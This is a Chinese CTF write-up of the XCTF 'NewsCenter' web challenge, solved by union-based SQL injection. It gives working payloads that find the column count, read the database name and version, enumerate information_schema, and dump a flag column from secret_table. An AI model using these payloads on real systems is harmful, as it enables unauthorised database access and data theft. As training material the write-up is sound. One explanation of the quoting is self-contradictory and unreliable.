CTFer成长记录——CTF之Web专题·攻防世界—NewsCenter

发布时间 2023-07-31 17:12:51作者: MiracleWolf

一、题目链接

https://adworld.xctf.org.cn/challenges/list

二、解法步骤

  

  本题打开是让我们搜新闻,新闻的数据就是来自于数据库的,那么比较容易想到这题应该是sql注入。

  首先判断是否能单引号绕过:输入hello正常回显,但hello' ,发现页面空白,说明hello'会报错,且报错无回显,那么第一步确定变量应该是用双引号存储的,可以用将查询内容用单引号

闭合进行其他的操作。

  接着看看字段数:Hello' order by 3#,发现没有空白页面,而order by 4就有了,说明一共有三个字段。

  继续看看能不能联合查询:Hello' union select 1,2,3#

  结果是可以的,那么查询下数据库版本和名称试试:Hello' union select 1,database(),version()#:

 版本是:5.5的;5.0以上的版本自带information_schema数据库,这数据库下面又有schemata、tables、columns,这些表中又有(schema_name)、(table_name、table_schema)、(table_schema、table_name、column_name)字段。那就是这样。

  如果是5.0版本以上,我们就可以通过系统的数据库来获取很多想要的信息。

  刚才获取了这个题的数据库news,那么接下来就是查表:Hello' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#

  有两个表,这里secret_table感觉更重要些。

  查secret_table中的列:Hello' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='news' #

  发现fl4g字段。

  最后查询fl4g数据:Hello' union select 1,2,fl4g from secret_table#

  

  得到flag。

三、总结

  本题是sql注入的联合查询题目,比较基本。需要注意查询的思路:判断能否用单引号——>判断字段——>联合查询看回显点——>查询版本,数据库名称——>查表——>查列——查字段。

  查表:union select 回显字段1,回显字段2,group_concat(table_name) from information_schema.tables where table_schema='news',在三个回显字段中选一个就行。

  查列:Hello' union select 回显字段1,回显字段2,group_concat(column_name) from information_schema.columns where table_schema='news' #看表中有哪些列,也就是表含有哪些信息。

  查字段:Hello' union select 回显字段1,回显字段2,fl4g from secret_table#,就是把表中的列里的具体数字搞出来。

  参考资料:https://blog.csdn.net/qq_55213436/article/details/125290521